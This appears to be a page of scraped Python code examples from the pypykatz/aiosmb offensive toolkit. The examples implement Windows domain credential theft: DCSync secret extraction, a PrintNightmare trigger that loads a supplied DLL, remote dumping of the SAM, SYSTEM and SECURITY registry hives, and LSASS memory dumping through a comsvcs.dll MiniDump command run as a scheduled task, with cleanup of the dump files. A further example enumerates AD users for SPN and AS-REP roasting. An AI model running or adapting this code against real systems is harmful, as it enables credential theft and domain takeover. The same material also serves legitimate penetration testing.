Пример #1
0
async def dcsync(url, username = None):
	from aiosmb.commons.connection.url import SMBConnectionURL
	from aiosmb.commons.interfaces.machine import SMBMachine

	smburl = SMBConnectionURL(url)
	connection = smburl.get_connection()

	users = []
	if username is not None:
		users.append(username)

	async with connection:
		logging.debug('[DCSYNC] Connecting to server...')
		_, err = await connection.login()
		if err is not None:
			raise err
		
		logging.debug('[DCSYNC] Connected to server!')
		logging.debug('[DCSYNC] Running...')

		i = 0
		async with SMBMachine(connection) as machine:
			async for secret, err in machine.dcsync(target_users=users):
				if err is not None:
					raise err
				i += 1
				if i % 1000 == 0:
					logging.debug('[DCSYNC] Running... %s' % i)
				await asyncio.sleep(0)
				yield secret
		
		logging.debug('[DCSYNC] Finished!')
		
Пример #2
0
async def printnightmare(url, dll_path, driverpath=None):
    try:
        from aiosmb.commons.connection.url import SMBConnectionURL
        from aiosmb.commons.interfaces.machine import SMBMachine

        smburl = SMBConnectionURL(url)
        connection = smburl.get_connection()

        async with connection:
            logging.debug('[PRINTNIGHTMARE] Connecting to server...')
            _, err = await connection.login()
            if err is not None:
                raise err

            machine = SMBMachine(connection)
            logging.debug('[PRINTNIGHTMARE] Connected!')
            logging.debug('[PRINTNIGHTMARE] Triggering printnightmare...')
            _, err = await machine.printnightmare(dll_path, driverpath)
            if err is not None:
                raise err
            logging.debug('[PRINTNIGHTMARE] Printnightmare finished OK!')
            return True, None
    except Exception as e:
        import traceback
        traceback.print_exc()
        return None, e
Пример #3
0
	def run_live(self, args):
		from pypykatz.registry.live_parser import LiveRegistry
		lr = None
		try:
			lr = LiveRegistry.go_live()
		except Exception as e:
			traceback.print_exc()
			logging.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e))
			try:
				from pypykatz.registry.offline_parser import OffineRegistry
				lr = OffineRegistry.from_live_system()
			except Exception as e:
				logging.debug('Failed to obtain registry secrets via filedump method')
		
		if lr is not None:
			self.process_results(lr, args)
		else:
			print('Registry parsing failed!')
Пример #4
0
async def regdump(url,
                  hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'],
                  remote_base_path='C:\\Windows\\Temp\\',
                  remote_share_name='\\c$\\Windows\\Temp\\',
                  enable_wait=3):
    from aiosmb.commons.connection.url import SMBConnectionURL
    from aiosmb.commons.interfaces.machine import SMBMachine
    from aiosmb.commons.interfaces.file import SMBFile
    from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from pypykatz.registry.aoffline_parser import OffineRegistry

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()
    if remote_base_path.endswith('\\') is False:
        remote_base_path += '\\'

    if remote_share_name.endswith('\\') is False:
        remote_share_name += '\\'

    po = None

    async with connection:
        logging.debug('[REGDUMP] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err

        logging.debug('[REGDUMP] Connected to server!')
        async with SMBMachine(connection) as machine:
            logging.debug(
                '[REGDUMP] Checking remote registry service status...')
            status, err = await machine.check_service_status('RemoteRegistry')
            if err is not None:
                raise err

            logging.debug('[REGDUMP] Remote registry service status: %s' %
                          status.name)
            if status != SMBServiceStatus.RUNNING:
                logging.debug('[REGDUMP] Enabling Remote registry service')
                _, err = await machine.enable_service('RemoteRegistry')
                if err is not None:
                    raise err
                logging.debug('[REGDUMP] Starting Remote registry service')
                _, err = await machine.start_service('RemoteRegistry')
                if err is not None:
                    raise err

                await asyncio.sleep(enable_wait)

            logging.debug(
                '[REGDUMP] Remote registry service should be running now...')
            files = {}
            for hive in hives:
                fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
                remote_path = remote_base_path + fname
                remote_sharepath = remote_share_name + fname
                remote_file = SMBFileReader(
                    SMBFile.from_remotepath(connection, remote_sharepath))
                files[hive.split('\\')[1].upper()] = remote_file

                logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' %
                             (hive, remote_path))
                _, err = await machine.save_registry_hive(hive, remote_path)
                if err is not None:
                    raise err

            #await asyncio.sleep(1)
            for rfilename in files:
                rfile = files[rfilename]
                logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
                _, err = await rfile.open(connection)
                if err is not None:
                    raise err

            try:
                logging.debug('[REGDUMP] Parsing hives...')
                po = await OffineRegistry.from_async_reader(
                    files['SYSTEM'],
                    sam_reader=files.get('SAM'),
                    security_reader=files.get('SECURITY'),
                    software_reader=files.get('SOFTWARE'))
            except Exception as e:
                print(e)

            logging.debug('[REGDUMP] Hives parsed OK!')

            logging.debug('[REGDUMP] Deleting remote files...')
            err = None
            for rfilename in files:
                rfile = files[rfilename]
                err = await rfile.close()
                if err is not None:
                    logging.debug(
                        '[REGDUMP] ERR! Failed to close hive dump file! %s' %
                        rfilename)

                _, err = await rfile.delete()
                if err is not None:
                    logging.debug(
                        '[REGDUMP] ERR! Failed to delete hive dump file! %s' %
                        rfilename)

            if err is None:
                logging.debug('[REGDUMP] Deleting remote files OK!')
    return po
Пример #5
0
async def regfile(url,
                  system,
                  sam=None,
                  security=None,
                  software=None,
                  smb_basepath=None):
    from aiosmb.commons.connection.url import SMBConnectionURL
    from aiosmb.commons.interfaces.file import SMBFile
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from pypykatz.registry.aoffline_parser import OffineRegistry

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()

    if smb_basepath is None:
        smb_basepath = smburl.path
    if smb_basepath.endswith('/') is False:
        smb_basepath += '/'
    smb_basepath = smb_basepath.replace('/', '\\')

    system_smbfile_path = smb_basepath + system
    sam_smbfile = None
    security_smbfile = None
    software_smbfile = None

    system_smbfile = SMBFileReader(
        SMBFile.from_remotepath(connection, system_smbfile_path))

    if sam:
        sam_smbfile_path = smb_basepath + sam
        sam_smbfile = SMBFileReader(
            SMBFile.from_remotepath(connection, sam_smbfile_path))

    if security:
        security_smbfile_path = smb_basepath + security
        security_smbfile = SMBFileReader(
            SMBFile.from_remotepath(connection, security_smbfile_path))

    if software:
        software_smbfile_path = smb_basepath + software
        software_smbfile = SMBFileReader(
            SMBFile.from_remotepath(connection, software_smbfile_path))

    po = None
    async with connection:
        logging.debug('[REGFILE] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err

        logging.debug('[REGFILE] Connected to server!')
        logging.debug('[REGFILE] Opening SYSTEM hive dump file...')
        # parse files here
        _, err = await system_smbfile.open(connection)
        if err is not None:
            raise err

        if sam_smbfile is not None:
            logging.debug('[REGFILE] Opening SAM hive dump file...')
            _, err = await sam_smbfile.open(connection)
            if err is not None:
                raise err

        if security_smbfile is not None:
            logging.debug('[REGFILE] Opening SECURITY hive dump file...')
            _, err = await security_smbfile.open(connection)
            if err is not None:
                raise err

        if software_smbfile is not None:
            logging.debug('[REGFILE] Opening SOFTWARE hive dump file...')
            _, err = await software_smbfile.open(connection)
            if err is not None:
                raise err

        logging.debug('[REGFILE] All files opened OK!')
        logging.debug('[REGFILE] Parsing hive files...')
        po = await OffineRegistry.from_async_reader(
            system_smbfile,
            sam_reader=sam_smbfile,
            security_reader=security_smbfile,
            software_reader=software_smbfile)
        logging.debug('[REGFILE] Hive files parsed OK!')

    return po
Пример #6
0
async def lsassfile(url, packages=['all'], chunksize=64 * 1024):
    from aiosmb.commons.connection.url import SMBConnectionURL
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from pypykatz.apypykatz import apypykatz

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()
    smbfile = smburl.get_file()

    async with connection:
        logging.debug('[LSASSFILE] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err

        logging.debug('[LSASSFILE] Connected!')
        logging.debug('[LSASSFILE] Opening LSASS dump file...')
        _, err = await smbfile.open(connection)
        if err is not None:
            raise err

        logging.debug('[LSASSFILE] LSASS file opened!')
        logging.debug('[LSASSFILE] parsing LSASS file...')
        mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile),
                                                       chunksize=chunksize,
                                                       packages=packages)
        logging.debug('[LSASSFILE] LSASS file parsed OK!')
        return mimi
Пример #7
0
async def lsassdump(url,
                    method='taskexec',
                    remote_base_path='C:\\Windows\\Temp\\',
                    remote_share_name='\\c$\\Windows\\Temp\\',
                    chunksize=64 * 1024,
                    packages=['all']):
    from aiosmb.commons.exceptions import SMBException
    from aiosmb.wintypes.ntstatus import NTStatus
    from aiosmb.commons.connection.url import SMBConnectionURL
    from aiosmb.commons.interfaces.machine import SMBMachine
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from aiosmb.commons.interfaces.file import SMBFile
    from pypykatz.apypykatz import apypykatz

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()

    if remote_base_path.endswith('\\') is False:
        remote_base_path += '\\'

    if remote_share_name.endswith('\\') is False:
        remote_share_name += '\\'

    fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
    filepath = remote_base_path + fname
    filesharepath = remote_share_name + fname

    if method == 'taskexec':
        cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(
            filepath)
        commands = [cmd]

    else:
        raise Exception('Unknown execution method %s' % method)

    mimi = None
    async with connection:
        logging.debug('[LSASSDUMP] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err
        logging.debug('[LSASSDUMP] Connected!')
        async with SMBMachine(connection) as machine:
            if method == 'taskexec':
                logging.debug(
                    '[LSASSDUMP] Start dumping LSASS with taskexec method!')
                logging.info('[LSASSDUMP] File location: %s' % filepath)
                _, err = await machine.tasks_execute_commands(commands)
                if err is not None:
                    raise err

                logging.debug(
                    '[LSASSDUMP] Sleeping a bit to let the remote host finish dumping'
                )
                await asyncio.sleep(10)

            else:
                raise Exception('Unknown execution method %s' % method)

        logging.debug('[LSASSDUMP] Opening LSASS dump file...')
        for _ in range(3):
            smbfile = SMBFileReader(
                SMBFile.from_remotepath(connection, filesharepath))
            _, err = await smbfile.open(connection)
            if err is not None:
                if isinstance(err, SMBException):
                    if err.ntstatus == NTStatus.SHARING_VIOLATION:
                        logging.debug(
                            '[LSASSDUMP] LSASS dump is not yet ready, retrying...'
                        )
                        await asyncio.sleep(1)
                        continue
                raise err
            break
        else:
            raise err

        logging.debug('[LSASSDUMP] LSASS dump file opened!')
        logging.debug(
            '[LSASSDUMP] parsing LSASS dump file on the remote host...')
        mimi = await apypykatz.parse_minidump_external(smbfile,
                                                       chunksize=chunksize,
                                                       packages=packages)

        logging.debug('[LSASSDUMP] parsing OK!')
        logging.debug('[LSASSDUMP] Deleting remote dump file...')
        _, err = await smbfile.delete()
        if err is not None:
            logging.info(
                '[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err)
        else:
            logging.info('[LSASSDUMP] remote LSASS file deleted OK!')

    return mimi
Пример #8
0
    def run_live(self, args):
        from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
        from msldap.ldap_objects import MSADUser
        from msldap import logger as msldaplogger
        from pypykatz.commons.winapi.machine import LiveMachine

        machine = LiveMachine()

        if args.credential:
            creds = MSLDAPCredential.from_connection_string(args.credential)
        else:
            creds = MSLDAPCredential.get_dummy_sspi()

        if args.dc_ip:
            target = MSLDAPTarget(args.dc_ip)
        else:
            target = MSLDAPTarget(machine.get_domain())

        connection = MSLDAPConnection(creds, target)
        connection.connect()

        try:
            adinfo = connection.get_ad_info()
            domain = adinfo.distinguishedName.replace('DC=',
                                                      '').replace(',', '.')
        except Exception as e:
            logging.warning(
                '[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s'
                % e)
            domain = machine.get_domain()

        if args.cmd == 'spn':
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_service_user_objects():
                        cnt += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))

            else:
                print('[+] SPN users')
                for user in connection.get_all_service_user_objects():
                    cnt += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        elif args.cmd == 'asrep':
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_knoreq_user_objects():
                        ctr += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
            else:
                print('[+] ASREP users')
                for user in connection.get_all_knoreq_user_objects():
                    ctr += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        elif args.cmd == 'dump':
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    for user in connection.get_all_user_objects():
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                for user in connection.get_all_user_objects():
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        elif args.cmd == 'custom':
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    for obj in connection.pagedsearch(args.filter, args.attrs):
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                for obj in connection.pagedsearch(args.filter, args.attrs):
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))

            logging.debug('Custom search yielded %d results!' % ctr)
Пример #9
0
async def lsassdump_single(targetid,
                           connection,
                           method='task',
                           remote_base_path='C:\\Windows\\Temp\\',
                           remote_share_name='\\c$\\Windows\\Temp\\',
                           chunksize=64 * 1024,
                           packages=['all']):
    try:
        from aiosmb.commons.exceptions import SMBException
        from aiosmb.wintypes.ntstatus import NTStatus
        from aiosmb.commons.interfaces.machine import SMBMachine
        from pypykatz.alsadecryptor.asbmfile import SMBFileReader
        from aiosmb.commons.interfaces.file import SMBFile
        from pypykatz.apypykatz import apypykatz

        if remote_base_path.endswith('\\') is False:
            remote_base_path += '\\'

        if remote_share_name.endswith('\\') is False:
            remote_share_name += '\\'

        fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
        filepath = remote_base_path + fname
        filesharepath = remote_share_name + fname

        if method == 'task':
            cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(
                filepath)
            commands = [cmd]

        elif method == 'service':
            cmd = ''

        else:
            raise Exception('Unknown execution method %s' % method)

        mimi = None
        async with connection:
            logging.debug('[LSASSDUMP][%s] Connecting to server...' % targetid)
            _, err = await connection.login()
            if err is not None:
                raise err
            logging.debug('[LSASSDUMP][%s] Connected!' % targetid)
            async with SMBMachine(connection) as machine:
                if method == 'task':
                    logging.debug(
                        '[LSASSDUMP][%s] Start dumping LSASS with taskexec method!'
                        % targetid)
                    smbfile_inner, err = await machine.task_dump_lsass()

                    if err is not None:
                        raise err

                    smbfile = SMBFileReader(smbfile_inner)

                    #logging.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
                    #logging.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath))
                    #_, err = await machine.tasks_execute_commands(commands)
                    #if err is not None:
                    #	raise err
                    #
                    #logging.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid)
                    #for _ in range(5):
                    #	logging.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid)
                    #	await asyncio.sleep(5)
                    #	smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
                    #	_, err = await smbfile.open(connection)
                    #	if err is not None:
                    #		if isinstance(err, SMBException):
                    #			if err.ntstatus == NTStatus.SHARING_VIOLATION:
                    #				logging.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid)
                    #				#await asyncio.sleep(1)
                    #				continue
                    #		raise err
                    #	break
                    #else:
                    #	raise err

                elif method == 'service':
                    logging.debug(
                        '[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!'
                        % targetid)
                    smbfile_inner, err = await machine.service_dump_lsass()

                    if err is not None:
                        raise err
                    smbfile = SMBFileReader(smbfile_inner)

                else:
                    raise Exception('Unknown execution method %s' % method)

            logging.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid)
            logging.debug(
                '[LSASSDUMP][%s] parsing LSASS dump file on the remote host...'
                % targetid)
            mimi = await apypykatz.parse_minidump_external(smbfile,
                                                           chunksize=chunksize,
                                                           packages=packages)

            logging.debug('[LSASSDUMP][%s] parsing OK!' % targetid)
            logging.debug('[LSASSDUMP][%s] Deleting remote dump file...' %
                          targetid)
            _, err = await smbfile.delete()
            if err is not None:
                print('[%s] Failed to delete LSASS file! Reason: %s' %
                      (targetid, err))
            else:
                print('[%s] Remote LSASS file deleted OK!' % targetid)

        return targetid, mimi, None
    except Exception as e:
        import traceback
        traceback.print_exc()
        return targetid, None, e